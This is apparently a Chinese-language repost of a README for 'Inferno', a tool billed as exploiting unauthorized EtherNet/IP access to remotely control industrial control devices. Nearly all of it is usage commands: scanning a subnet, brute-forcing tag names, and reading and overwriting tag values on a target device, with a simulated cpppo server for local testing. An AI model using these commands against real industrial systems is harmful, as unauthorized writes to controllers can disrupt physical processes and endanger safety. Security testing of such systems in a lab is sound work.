[ICS] Inferno(地狱) ETH/IP未授权访问,远程控制工控设备利用工具

项目地址:https://github.com/MartinxMax/Inferno

Inferno

$ ./Install.sh

$ python Inferno.py -h

模拟服务端

$ sudo python3 -m pip install --upgrade cpppo
$ $ python -m cpppo.server.enip SCADA=INT[1000] ADMIN=INT[2] -v

创建一个EtherNet/IP设备

扫描设备

$ python Inferno.py -scan 192.168.8.0/24

标签爆破

$ python Inferno.py -rhost 192.168.8.107 -gtag

读取

索引1:

$ python Inferno.py -rhost 192.168.8.107 -tag SCADA -read 1

索引1-20:

$ python Inferno.py -rhost 192.168.8.107 -tag SCADA -read 1-20

修改

索引1,类型INT,值90:

$ python Inferno.py -rhost 192.168.8.107 -tag SCADA -write '1:(INT):90'

索引1-20,类型INT,值55:

$ python Inferno.py -rhost 192.168.8.107 -tag SCADA -write '1-20:(INT):55'